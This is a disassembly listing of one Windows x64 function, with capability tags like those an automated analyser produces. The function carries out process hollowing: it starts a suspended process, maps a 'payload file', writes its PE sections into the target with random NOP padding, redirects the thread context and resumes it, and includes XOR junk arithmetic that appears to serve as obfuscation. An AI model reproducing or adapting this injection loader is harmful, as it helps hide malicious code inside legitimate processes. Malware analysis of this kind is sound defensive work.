Function at 0x140003b00
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Generate random numbers using a mersenne twister
Read file via mapping
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x18d0]
mov eax, 0x19d0
call fcn.140008050
sub rsp, rax
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rbp + 0x18c0], rax
mov qword [rsp + 0x60], r8
mov r15, rdx
mov rsi, rcx
xor r14d, r14d
mov qword [rbp - 0x70], r14
mov r12, 0xffffffffffffffff
mov rbx, r12
inc rbx
cmp byte [rcx + rbx], r14b
jne 0x140003b52
mov rdi, r12
nop
inc rdi
cmp byte [rdx + rdi], r14b
jne 0x140003b60
mov rcx, rbx
add rcx, 1
cmovb rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
mov qword [rbp - 0x78], rax
mov rcx, rdi
add rcx, 1
cmovb rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
mov qword [rsp + 0x70], rax
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov r9d, ebx
mov r8, r13
mov rcx, qword [rsp + 0x60]
call fcn.140003920
mov r9d, edi
mov r8, r12
mov rcx, qword [rsp + 0x60]
call fcn.140003920
xorps xmm4, xmm4
xor eax, eax
movups xmmword [rbp - 0x10], xmm4
movups xmmword [rbp], xmm4
movups xmmword [rbp + 0x10], xmm4
movups xmmword [rbp + 0x20], xmm4
movups xmmword [rbp + 0x30], xmm4
movups xmmword [rbp + 0x40], xmm4
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x90], 0x10000b
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140003c88
lea rdx, str.Failed_to_create_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005460
mov rcx, rax
lea rdx, [0x140005640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
jmp 0x1400040d5
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov qword [rsp + 0x78], rax
cmp rax, 0xffffffffffffffff
jne 0x140003cf3
lea rdx, str.Failed_to_open_payload_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005460
mov rcx, rax
lea rdx, [0x140005640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r13
jmp 0x1400040d5
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r15, rax
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
mov qword [rsp + 0x58], rax
movsxd rbx, dword [rax + 0x3c]
add rbx, rax
mov qword [rsp + 0x68], rbx
mov ecx, dword [rbx + 0x28]
mov dword [rbp - 0x50], ecx
mov ecx, dword [rbx + 0x50]
mov qword [rbp - 0x20], rcx
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp - 0x20]
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
call qword [0x14000fca8]
mov r13d, r14d
cmp r14w, word [rbx + 6]
jae 0x140003f8b
lea r12, [rbx + 0x11c]
movabs rcx, 0x7fffffffffffffff
xorps xmm0, xmm0
mov eax, dword [r12]
mov ebx, dword [r12 - 4]
add rbx, rax
add rbx, rdi
lea r15, [rax + rdi]
movdqu xmmword [rbp - 0x48], xmm0
mov rsi, r14
mov qword [rbp - 0x38], r14
sub rbx, r15
je 0x140003e26
cmp rbx, rcx
ja 0x14000410e
cmp rbx, 0x1000
jb 0x140003df8
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140004114
call fcn.140007104
test rax, rax
je 0x14000404b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003e03
mov rcx, rbx
call fcn.140007104
mov rdi, rax
mov qword [rbp - 0x48], rdi
lea rsi, [rdi + rbx]
mov qword [rbp - 0x38], rsi
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov rbx, rsi
mov qword [rbp - 0x40], rbx
jmp 0x140003e2e
mov rbx, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x18b4], 0xffffffff
mov dword [rbp + 0x534], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x534], eax
inc rdx
cmp rdx, 0x270
jb 0x140003e50
mov dword [rbp + 0x530], 0x270
lea rcx, [rbp + 0x530]
call fcn.140006380
mov ecx, eax
lea rax, [rcx + rcx*2]
add rax, rax
cmp eax, 3
ja 0x140003eba
nop word [rax + rax]
lea rcx, [rbp + 0x530]
call fcn.140006380
mov ecx, eax
lea rax, [rcx + rcx*2]
add rax, rax
cmp eax, 4
jb 0x140003ea0
shr rax, 0x20
mov edx, 0x80000000
lea ecx, [rax + rdx]
xor ecx, edx
jbe 0x140003f05
mov byte [rsp + 0x50], 0x90
mov edi, ecx
cmp rbx, rsi
je 0x140003ee2
mov byte [rbx], 0x90
inc rbx
mov qword [rbp - 0x40], rbx
jmp 0x140003efb
lea r8, [rsp + 0x50]
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.140005910
mov rsi, qword [rbp - 0x38]
mov rbx, qword [rbp - 0x40]
sub rdi, 1
jne 0x140003ed1
mov rdi, qword [rbp - 0x48]
sub rbx, rdi
mov edx, dword [r12 - 8]
add rdx, qword [rbp - 0x70]
mov qword [rsp + 0x20], r14
mov r9, rbx
mov r8, rdi
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
test rdi, rdi
je 0x140003f5f
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x140003f54
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000404b
mov rdx, rsi
mov rcx, rdi
call fcn.140007380
inc r13d
add r12, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
mov rdi, qword [rsp + 0x58]
cmp r13d, eax
jl 0x140003d8c
mov r12, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov r15, qword [rbp - 0x80]
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov r9d, 4
lea r8, [rbp - 0x50]
mov rcx, qword [rsp + 0x60]
call fcn.140003920
mov dword [rbp - 0x48], 0x11223344
mov dword [rbp - 0x44], 0x55667788
mov dword [rbp - 0x40], 0x99aabbcc
mov dword [rbp - 0x3c], 0xddeeff00
mov dword [rbp - 0x38], 0x12345678
mov dword [rbp - 0x34], 0x87654321
mov dword [rbp - 0x30], 0xf0e0d0c
mov dword [rbp - 0x2c], 0xa1a2a3a4
mov dword [rbp - 0x28], 0x5a5a5a5a
mov dword [rbp - 0x24], 0xc3c3c3c3
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x48]
mov r8d, 0xa
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rcx]
xor eax, 0xcafebabe
mov dword [rdx], eax
mov eax, dword [rcx]
sub eax, 0x21524111
mov dword [rdx], eax
lea rdx, [rdx + 4]
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140004010
mov dword [rsp + 0x58], r14d
mov eax, dword [rbp + r14*4 - 0x48]
test al, 1
je 0x140004052
mov ecx, dword [rbp + r14*4 - 0x48]
mov eax, dword [rsp + 0x58]
add ecx, eax
jmp 0x14000405d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rbp + r14*4 - 0x48]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov dword [rsp + 0x58], ecx
inc r14
cmp r14, 0xa
jl 0x140004035
mov eax, dword [rsp + 0x58]
xor eax, 0x12345678
mov dword [rsp + 0x58], eax
mov eax, dword [rbp - 0x50]
add rax, qword [rbp - 0x70]
mov qword [rbp + 0xd8], rax
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call fcn.1400030d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp + 0x18c0]
xor rcx, rsp
call fcn.140007000
mov rbx, qword [rsp + 0x1a28]
add rsp, 0x19d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140005860
int3
call fcn.140001200
int3